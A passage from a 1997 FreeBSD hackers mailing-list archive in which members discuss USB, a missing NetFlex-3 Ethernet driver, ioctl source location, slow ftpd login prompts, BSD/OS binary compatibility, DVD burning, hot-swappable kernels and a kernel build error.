> > Specifically, when will Logitech sell me a USB mouse? When will > KeyTronic sell me a USB keyboard? > > > > Well, USB ports have been a selling point on a lot of systems here, > > but most of the motherboards that ship with it come with mini-8 DIN > > connectors rather than the "real" USB connector. > > Well, that's it, then. The standard is doomed. There is already > going to be a need for differential cable connectors. Might as > well scrap the damn thing. Anyone wonder why IDE sells at all, > even though SCSI is so obviously technically superior? 8-(. > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Wed Aug 6 13:23:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA17411 for hackers-outgoing; Wed, 6 Aug 1997 13:23:30 -0700 (PDT) Received: from grendel.IAEhv.nl (grendel.IAEhv.nl [194.151.72.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA17399 for ; Wed, 6 Aug 1997 13:23:24 -0700 (PDT) Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id NAA00430; Wed, 6 Aug 1997 13:15:53 +0200 (CEST) Message-ID: <19970806131553.28602@grendel.IAEhv.nl> Date: Wed, 6 Aug 1997 13:15:53 +0200 From: Peter Korsten To: hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: ; from Jamil J. Weatherbee on Tue, Aug 05, 1997 at 11:29:13PM -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jamil J. Weatherbee shared with us: > > It needs to be faster --- ramp that 12MBit/sec up to 200MBit/sec and then > we can talk.... Do you know if it uses differential rx and tx signal > lines? Look, USB is intended for low to medium speed periphials. If you want a faster serial bus, use FireWire. If you want real speed, use PCI. If you want _real_ real speed, use AGP. Why would I want my mouse to transmit with 200 Mbit/s to my PC? - Peter From owner-freebsd-hackers Wed Aug 6 13:23:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA17419 for hackers-outgoing; Wed, 6 Aug 1997 13:23:32 -0700 (PDT) Received: from grendel.IAEhv.nl (grendel.IAEhv.nl [194.151.72.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA17401 for ; Wed, 6 Aug 1997 13:23:27 -0700 (PDT) Received: (from peter@localhost) by grendel.IAEhv.nl (8.8.5/8.8.5) id NAA00415; Wed, 6 Aug 1997 13:11:45 +0200 (CEST) Message-ID: <19970806131144.41426@grendel.IAEhv.nl> Date: Wed, 6 Aug 1997 13:11:44 +0200 From: Peter Korsten To: hackers@freebsd.org Subject: Re: Status of USB, TX chipset, PIIX3, etc. References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.67e In-Reply-To: ; from Alex on Wed, Aug 06, 1997 at 12:31:47AM +0000 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Alex shared with us: > > On Tue, 5 Aug 1997, Tom wrote: > > > Hardrives? You've got to be kidding... and get worse than IDE > > performance? > > > > Remember, plain old SCSI-II is 10MB/s, which is works out to 80mbs! USB > > is only 12mbs. > > > > I see USB as a user input (mouse and keyboard) bus only. > > I have two fast scsi-2 harddrives (one at 10 and the other at 20mhz), and > while they're not the greatest (Fireball and Lightning by Quantum hehe), > I'm pushed to get more than 5mb/s (and I've enabled sync and wide > negotiation) when copying from one to another. Er, that 12 _MBit_ for USB and 5 _MByte_ (which is 40 MBit, if I ignore such things as protocal etc.) for your harddrive. - Peter From owner-freebsd-hackers Wed Aug 6 13:47:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA18706 for hackers-outgoing; Wed, 6 Aug 1997 13:47:35 -0700 (PDT) Received: from gatekeeper.alcatel.com.au (gatekeeper.alcatel.com.au [203.17.66.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA18699 for ; Wed, 6 Aug 1997 13:47:28 -0700 (PDT) Received: from mfg1.cim.alcatel.com.au ([139.188.23.1]) by gatekeeper.alcatel.com.au (PMDF V5.1-7 #11861) with ESMTP id <01IM5DIIW8TC000ES7@gatekeeper.alcatel.com.au> for freebsd-hackers@freebsd.org; Thu, 7 Aug 1997 06:46:48 +1000 Received: from cbd.alcatel.com.au by cim.alcatel.com.au (PMDF V5.1-7 #9239) with ESMTP id <01IM5DIF2K7K8WXY47@cim.alcatel.com.au> for freebsd-hackers@freebsd.org; Thu, 07 Aug 1997 06:46:43 +1000 Received: from gsms01.alcatel.com.au by cbd.alcatel.com.au (PMDF V5.1-7 #9241) with ESMTP id <01IM5DIC3VJK8WWDDQ@cbd.alcatel.com.au> for freebsd-hackers@freebsd.org; Thu, 07 Aug 1997 06:46:39 +1100 Received: (from jeremyp@localhost) by gsms01.alcatel.com.au (8.7.5/8.7.3) id GAA17647 for freebsd-hackers@freebsd.org; Thu, 07 Aug 1997 06:46:35 +1000 (EST) Date: Thu, 07 Aug 1997 06:46:35 +1000 (EST) From: Peter Jeremy Subject: Ethernet driver for Compaq Deskpro 4000 To: freebsd-hackers@freebsd.org Message-id: <199708062046.GAA17647@gsms01.alcatel.com.au> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I would like to run FreeBSD on a Compaq Deskpro 4000. Unfortunately, this machine includes a non-supported NetFlex-3 Ethernet controller. The NetFlex-3 is based on the TI ThunderLAN TNETE100A NIC. The output from a verbose PCI probe is shown below (the particular chip probes as pci0:11:). Does anyone have a suitable FreeBSD 2.2 driver for this NIC? I also note that the IDE driver also reports `no driver assigned', although the later (ISA) disk probes correctly detect the attached disk. Would this cause any problems? Kernel probe: FreeBSD 2.2.2-RELEASE #14: Tue May 27 22:21:59 GMT 1997 jkh@time.cdrom.com:/usr/src/sys/compile/BOOTMFS Calibrating clock(s) ... i586 clock: 133640311 Hz, i8254 clock: 1193218 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency CLK_USE_I586_CALIBRATION not specified - using old calibration method CPU: Pentium (133.64-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x1bf real memory = 33554432 (32768K bytes) avail memory = 28930048 (28252K bytes) pcibus_setup(1): mode 1 addr port (0x0cf8) is 0x00000000 pcibus_setup(1a): mode1res=0x00000000 (0x80000000) pcibus_setup(1b): mode1res=0x80000000 (0xff000001) pcibus_check: device 0 is there (id=40000e11) Probing for devices on PCI bus 0: configuration mode 1 allows 32 devices. chip0 rev 1 int S irq 240 on pci0:0:0 mapreg[10] type=0 addr=00414f90 size=ffc0b010. mapreg[14] type=0 addr=001750a0 size=ffe8af60. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fff490 size=fe000b70. mapreg[20] type=1 addr=40000e10 size=0010. chip1 rev 1 int U irq 48 on pci0:0:1 mapreg[10] type=0 addr=0039df70 size=ffc62090. mapreg[14] type=0 addr=01fff580 size=fe000a80. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fff5e0 size=fe000a20. mapreg[20] type=1 addr=40000e10 size=0010. chip2 rev 1 int V irq 128 on pci0:0:2 mapreg[10] type=0 addr=0039df70 size=ffc62090. mapreg[14] type=0 addr=01fff6d0 size=fe000930. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fff730 size=fe0008d0. mapreg[20] type=1 addr=40000e10 size=0010. chip3 rev 1 int W irq 208 on pci0:0:3 mapreg[10] type=0 addr=00421e50 size=ffbde1b0. mapreg[14] type=0 addr=01fff820 size=fe0007e0. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fff880 size=fe000780. mapreg[20] type=1 addr=40000e10 size=0010. chip4 rev 1 int Y irq 32 on pci0:0:4 mapreg[10] type=0 addr=0039de30 size=ffc621d0. mapreg[14] type=0 addr=01fff960 size=fe0006a0. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fff9c0 size=fe000640. mapreg[20] type=1 addr=40000e10 size=0010. chip5 rev 1 int Z irq 96 on pci0:0:5 mapreg[10] type=0 addr=0039df70 size=ffc62090. mapreg[14] type=0 addr=01fffab0 size=fe000550. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fffb10 size=fe0004f0. mapreg[20] type=1 addr=40000e10 size=0010. chip6 rev 1 int [ irq 176 on pci0:0:6 mapreg[10] type=0 addr=0039df70 size=ffc62090. mapreg[14] type=0 addr=01fffc00 size=fe000400. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fffc60 size=fe0003a0. mapreg[20] type=1 addr=40000e10 size=0010. chip7 rev 1 int ] irq ?? on pci0:0:7 mapreg[10] type=0 addr=003bfd70 size=ffc40290. mapreg[14] type=0 addr=01fffd40 size=fe0002c0. mapreg[18] type=0 addr=0039df70 size=ffc62090. mapreg[1c] type=0 addr=01fffda0 size=fe000260. mapreg[20] type=1 addr=40000e10 size=0010. vga0 rev 0 int a irq 11 on pci0:10 mapreg[10] type=0 addr=41000000 size=1000000. pci0:11: Compaq, device=0xae35, class=network (misc) int a irq 5 [no driver assigned] map(10): io(1000) map(14): mem32(40000000) chip8 rev 12 on pci0:15:0 pci0:15:1: Compaq, device=0xae33, class=storage (ide) int a irq 14 [no driver assigned] map(10): io(01f0) map(14): io(03f4) map(18): io(0170) map(1c): io(0374) map(20): io(1010) pci0: uses -549760624 bytes of memory from 1750a0 upto ffffffff. pci0: uses 128 bytes of I/O space from e10 upto e1f. Probing for devices on the ISA bus: ... wdc0 at 0x1f0-0x1f7 irq 14 on isa wdc0: unit 0 (wd0): wd0: 2014MB (4124736 sectors), 4092 cyls, 16 heads, 63 S/T, 512 B/S ... Peter -- Peter Jeremy (VK2PJ) peter.jeremy@alcatel.com.au Alcatel Australia Limited 41 Mandible St Phone: +61 2 9690 5019 ALEXANDRIA NSW 2015 Fax: +61 2 9690 5247 From owner-freebsd-hackers Wed Aug 6 14:02:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA19690 for hackers-outgoing; Wed, 6 Aug 1997 14:02:09 -0700 (PDT) Received: from konig.elte.hu (konig.elte.hu [157.181.6.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA19685 for ; Wed, 6 Aug 1997 14:02:02 -0700 (PDT) Received: from localhost (sebesty@localhost) by konig.elte.hu (8.8.3/8.7.3/7s) with SMTP id XAA04291 for ; Wed, 6 Aug 1997 23:01:16 +0200 Date: Wed, 6 Aug 1997 23:01:16 +0200 (MET DST) From: Zoltan Sebestyen X-Sender: sebesty@konig To: FreeBSD hackers mailinglist Subject: Location of ioctl.c Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, Where can I find the source of the ioctl function? (I've got the FreeBSD-RELEASE CDROM and install the sources in /usr/src.) -------------------------------------------------------------------------------- Sebestyen Zoltan It all seems so stupid, it makes me want to give up. szoli@caesar.elte.hu But why should I give up, when it all seems so stupid? From owner-freebsd-hackers Wed Aug 6 14:33:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA21201 for hackers-outgoing; Wed, 6 Aug 1997 14:33:07 -0700 (PDT) Received: from clifford.inch.com (omar@clifford.inch.com [207.240.140.163]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA21190 for ; Wed, 6 Aug 1997 14:33:00 -0700 (PDT) Received: (from omar@localhost) by clifford.inch.com (8.8.5/8.8.5) id RAA24128; Wed, 6 Aug 1997 17:30:56 -0400 Message-ID: <19970806173055.35755@clifford.inch.com> Date: Wed, 6 Aug 1997 17:30:55 -0400 From: Omar Thameen To: freebsd-hackers@freebsd.org Subject: ftpd login prompt slow on 2.2 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.65 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Folks, I started this out in -questions, but got no replies. Any insight here? Thanks, Omar -----Forwarded message from Omar Thameen ----- We're trying to use the stock ftpd on 2.2 machines running as webservers. Hence, each server has a number of IPs aliased. The problem is, on these 2.2 machines, ftpd takes a long time to return a login prompt, preventing some users from connecting because their software has too short of a timeout. I get the "Connected to domain.com" message immediately, but the login prompt takes a good 20-30 seconds more. It's not a nameservice issue, because if I install the wu-ftpd port (which I'm trying to move away from since ftpd seems to be developing nicely), it returns the login prompt right away. One thing I have found is that on machines that have only one IP, the login prompt returns quickly. It's these webservers with a number of IP aliases that seems to be the problem. Any ideas, advice, or commiseration? Omar -----End of forwarded message----- From owner-freebsd-hackers Wed Aug 6 14:33:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA21261 for hackers-outgoing; Wed, 6 Aug 1997 14:33:58 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA21248 for ; Wed, 6 Aug 1997 14:33:51 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id OAA08840; Wed, 6 Aug 1997 14:33:43 -0700 (PDT) Date: Wed, 6 Aug 1997 14:33:41 -0700 (PDT) From: Jaye Mathisen To: Greg Lehey cc: hackers@FreeBSD.ORG Subject: Re: Ktrace output of BSD binary: In-Reply-To: <199708060150.LAA04493@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm running 2.2.2-stable, the binary is the Cheyenne ArcServe Backup Agent version 1.0, although I don't know which version of BSD/OS it's for. I was hoping to avoid installing BSD/OS just to feed my tape system, but it's kind of looking like it. Oh well. The linux version fails with similar problems. Maybe they can do a port. I already suggested it to their tech support guys, but I doubt that will get very far. On Wed, 6 Aug 1997, Greg Lehey wrote: > Jaye Mathisen writes: > > > > > > Short and sweet, but it doesn't tell me anything that I can really use... > > > > # kdump > > 8626 ktrace RET ktrace 0 > > 8626 ktrace CALL execve(0xefbfdd83,0xefbfdd44,0xefbfdd4c) > > 8626 ktrace NAMI "./asbr" > > 8626 asbr RET execve 0 > > 8626 asbr PSIG SIGSEGV SIG_DFL > > 8626 asbr NAMI "asbr.core" > > > > > > Doesn't even look like it really gets fired up. > > > > # file asbr > > asbr: BSD/386 demand paged (first page unmapped) pure ex > > There was a problem quite a while ago with BSD/386 executables. They > accessed something in the startup code (before main) which isn't > (wasn't?) mapped in FreeBSD, a pointer to ps strings (see page 430 of > "Porting UNIX Software", which by chance mentions this very problem. > I thought the problem had been solved a long time ago--what version of > FreeBSD are you running, and what version of BSD/OS did the executable > come with? > > Greg > From owner-freebsd-hackers Wed Aug 6 14:35:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA21431 for hackers-outgoing; Wed, 6 Aug 1997 14:35:37 -0700 (PDT) Received: from mars.aros.net (mars.aros.net [207.173.16.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA21423; Wed, 6 Aug 1997 14:35:31 -0700 (PDT) Received: from shell.aros.net (root@shell.aros.net [207.173.16.19]) by mars.aros.net (8.8.5/8.8.4) with ESMTP id PAA25519; Wed, 6 Aug 1997 15:34:23 -0600 (MDT) Received: from shell.aros.net (msanders@localhost.aros.net [127.0.0.1]) by shell.aros.net (8.8.5/8.8.5) with ESMTP id PAA29374; Wed, 6 Aug 1997 15:35:30 -0600 (MDT) Message-Id: <199708062135.PAA29374@shell.aros.net> X-Attribution: msanders To: Terry Lambert cc: garbanzo@hooked.net (Alex), msmith@atrad.adelaide.edu.au, freebsd@atipa.com, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Re: Status of USB, TX chipset, PIIX3, etc. In-reply-to: Your message of "Wed, 06 Aug 1997 11:23:27 PDT." <199708061823.LAA14457@phaeton.artisoft.com> X-Mailer: MH 6.8.3 Date: Wed, 06 Aug 1997 15:35:30 -0600 From: "Michael K. Sanders" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In message <199708061823.LAA14457@phaeton.artisoft.com>, Terry Lambert writes: > >DVD's require more hardware because they can hold a significantly >larger amount of information. What? >I believe you can burn a "short" DVD in a normal CD burner, and >then pretend it's a DVD in oly 1/3 of the DVD drives out there. 8-(. Sorry Terry, but in a word "No". CD-Rs don't burn DVD, they burn CDs. You may be able to read that CD-R disc in a DVD-ROM drive, but that doesn't make the disc DVD. DVD uses a shorter wavelength laser than CD. It is not possible to read or write a DVD disc in a standard CD-ROM or CD-R drive. :: Mike :: From owner-freebsd-hackers Wed Aug 6 14:53:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA22396 for hackers-outgoing; Wed, 6 Aug 1997 14:53:48 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA22376; Wed, 6 Aug 1997 14:53:41 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id OAA18376; Wed, 6 Aug 1997 14:48:49 -0700 From: Terry Lambert Message-Id: <199708062148.OAA18376@phaeton.artisoft.com> Subject: Re: Status of USB, TX chipset, PIIX3, etc. To: msanders@aros.net (Michael K. Sanders) Date: Wed, 6 Aug 1997 14:48:49 -0700 (MST) Cc: terry@lambert.org, garbanzo@hooked.net, msmith@atrad.adelaide.edu.au, freebsd@atipa.com, hackers@FreeBSD.ORG, freebsd-current@FreeBSD.ORG In-Reply-To: <199708062135.PAA29374@shell.aros.net> from "Michael K. Sanders" at Aug 6, 97 03:35:30 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >I believe you can burn a "short" DVD in a normal CD burner, and > >then pretend it's a DVD in oly 1/3 of the DVD drives out there. 8-(. > > Sorry Terry, but in a word "No". > > CD-Rs don't burn DVD, they burn CDs. You may be able to read that CD-R > disc in a DVD-ROM drive, but that doesn't make the disc DVD. > > DVD uses a shorter wavelength laser than CD. It is not possible to > read or write a DVD disc in a standard CD-ROM or CD-R drive. You can burn a CD-ROM (NOT DVD) with a CD ROM burner, and have it contain a "short" DVD FS. Most (2/3's) of DVD players will believe it is a regular CD-ROM, not a DVD. Several DVD CDROM drives, however, recognize DVD's based on their format, not their recording technology (on the theory that software will want to be written to DVD's in a non-DVD revording format to make them "long" CD-ROMs). Unfortunately, the majority do not. The point is not to make a DVD, but to make a disk which the drive will interpret as a "short" DVD. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Aug 6 15:42:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA25150 for hackers-outgoing; Wed, 6 Aug 1997 15:42:07 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA25145 for ; Wed, 6 Aug 1997 15:42:05 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA29247 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Thu, 7 Aug 1997 00:42:23 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id XAA03118; Wed, 6 Aug 1997 23:48:53 +0200 (MET DST) From: Wilko Bulte Message-Id: <199708062148.XAA03118@yedi.iaf.nl> Subject: Re: Status of USB, TX chipset, PIIX3, etc. To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Wed, 6 Aug 1997 23:48:53 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970806131553.28602@grendel.IAEhv.nl> from "Peter Korsten" at Aug 6, 97 01:15:53 pm X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Peter Korsten wrote... > Jamil J. Weatherbee shared with us: > > > > It needs to be faster --- ramp that 12MBit/sec up to 200MBit/sec and then > > we can talk.... Do you know if it uses differential rx and tx signal > > lines? > > Look, USB is intended for low to medium speed periphials. If you > want a faster serial bus, use FireWire. If you want real speed, > use PCI. If you want _real_ real speed, use AGP. > > Why would I want my mouse to transmit with 200 Mbit/s to my PC? WOW! That would be the RSI of the century I suppose. Lawyers beware ;-) Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Wed Aug 6 16:14:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA26759 for hackers-outgoing; Wed, 6 Aug 1997 16:14:49 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA26754 for ; Wed, 6 Aug 1997 16:14:46 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id QAA18351; Wed, 6 Aug 1997 16:11:50 -0700 (PDT) To: Peter Jeremy cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Ethernet driver for Compaq Deskpro 4000 In-reply-to: Your message of "Thu, 07 Aug 1997 06:46:35 +1000." <199708062046.GAA17647@gsms01.alcatel.com.au> Date: Wed, 06 Aug 1997 16:11:49 -0700 Message-ID: <18347.870909109@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I would like to run FreeBSD on a Compaq Deskpro 4000. Unfortunately, > this machine includes a non-supported NetFlex-3 Ethernet controller. > The NetFlex-3 is based on the TI ThunderLAN TNETE100A NIC. The > output from a verbose PCI probe is shown below (the particular chip > probes as pci0:11:). > > Does anyone have a suitable FreeBSD 2.2 driver for this NIC? My understanding is that the company does not provide technical details for this card, hence it's difficult to envision support being provided for it anytime soon. Jordan From owner-freebsd-hackers Wed Aug 6 16:37:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA28168 for hackers-outgoing; Wed, 6 Aug 1997 16:37:27 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA28160 for ; Wed, 6 Aug 1997 16:37:24 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id JAA08050; Thu, 7 Aug 1997 09:37:45 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id JAA01359; Thu, 7 Aug 1997 09:06:45 +0930 (CST) Message-Id: <199708062336.JAA01359@freebie.lemis.com> Subject: Re: Location of ioctl.c In-Reply-To: from Zoltan Sebestyen at "Aug 6, 97 11:01:16 pm" To: sebesty@cs.elte.hu (Zoltan Sebestyen) Date: Thu, 7 Aug 1997 09:06:44 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Zoltan Sebestyen writes: > Hi, > > Where can I find the source of the ioctl function? > (I've got the FreeBSD-RELEASE CDROM and install the sources in /usr/src.) It's in /usr/src/sys/kern/sys_generic.c. The question is whether you really want to look at this particular function; most of the work is done by the individual device drivers. Greg From owner-freebsd-hackers Wed Aug 6 17:05:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA29359 for hackers-outgoing; Wed, 6 Aug 1997 17:05:14 -0700 (PDT) Received: from argus.tfs.net (tc1-p22.tfs.net [139.146.197.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA29346 for ; Wed, 6 Aug 1997 17:05:00 -0700 (PDT) Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id TAA00279; Wed, 6 Aug 1997 19:04:17 -0500 (CDT) From: Jim Bryant Message-Id: <199708070004.TAA00279@argus.tfs.net> Subject: Re: Hot Swappable Kernels In-Reply-To: <199708060905.SAA05837@freebie.lemis.com> from Greg Lehey at "Aug 6, 97 06:35:27 pm" To: grog@lemis.com (Greg Lehey) Date: Wed, 6 Aug 1997 19:04:16 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > Jamil J. Weatherbee writes: > > > > I know this may sound kind of lame: > > > > I was thinking last night of what would be required to have a hot > > swappable kernel.. i.e. being able to compile the kernel binary (probably) > > modules and then insert it into a running system while maintaining its > > running status --- to my knowledge kernel recompiles are the only reason a > > perfectly rebooting system needs to come down every once in a while. > > I suspect people are going to shoot you down in flames, and they're > probably justified. But I suppose you'd like to know that I've done > just that in the past, at Tandem. The operating system is a loosely > coupled network, so we were able to boot one machine at a time. > Despite the obvious interest of such a scheme for Tandem, and despite > my extensive lobbying, it never came to anything. > > I can't imagine how you would start to do such a thing with UNIX. The > closest you could come to it would be to split most of the kernel into > LKMs, and change them. But there's a basic conflict of concept > between keeping a kernel running (even if it's no longer the same > kernel) and booting a kernel. greg, Keep in mind that even for Guardian-90, you still have to boot... Let's see, what changes if i simply change MAXUSERS... This is one of the simpler scenarios... Changing other things can be really hairy... Unix on a PC is not Guardian-90 on a Non-Stop. An occassional reboot is not a bad thing. Prediction: Three years, tops. Compaq will run Tandem into the ground. A shame too... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Internet: jbryant@tfs.net AX.25 Packet: kc5vdj@wv0t.#neks.ks.usa.noam voice: KC5VDJ - 6 Meters AM/FM/SSB, 2 Meters AM/FM/SSB, 70cm FM. grid: EM28PW ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Wed Aug 6 17:14:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA29760 for hackers-outgoing; Wed, 6 Aug 1997 17:14:38 -0700 (PDT) Received: from zibbi.mikom.csir.co.za ([146.64.24.58]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA29755 for ; Wed, 6 Aug 1997 17:14:34 -0700 (PDT) Received: (from pallenby@localhost) by zibbi.mikom.csir.co.za (8.8.6/8.8.5) id CAA23202 for hackers@freebsd.org; Thu, 7 Aug 1997 02:13:40 +0200 (SAT) From: Paul Allenby Message-Id: <199708070013.CAA23202@zibbi.mikom.csir.co.za> Subject: kernel don't compile To: hackers@freebsd.org Date: Thu, 7 Aug 1997 02:13:40 +0200 (SAT) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As of this morning... intr_machdep.c cc -c -O -pipe -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -nostdinc -I- -I. -I../.. -I../../../include -DAPM_BROKEN_STATCLOCK -DLINUX -DFAILSAFE -DCOMPAT_43 -DMSDOSFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../i386/isa/isa.c ../../i386/isa/isa.c: In function `isa_dmastatus': ../../i386/isa/isa.c:935: parse error before `<' ../../i386/isa/isa.c:938: parse error before `==' ../../i386/isa/isa.c:943: `_data' undeclared (first use this function) ../../i386/isa/isa.c:943: (Each undeclared identifier is reported only once ../../i386/isa/isa.c:943: for each function it appears in.) ../../i386/isa/isa.c:943: warning: control reaches end of non-void function ../../i386/isa/isa.c: At top level: ../../i386/isa/isa.c:943: parse error before `)' ../../i386/isa/isa.c:944: braced-group within expression allowed only inside a function FYI Paul From owner-freebsd-hackers Wed Aug 6 17:18:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA29935 for hackers-outgoing; Wed, 6 Aug 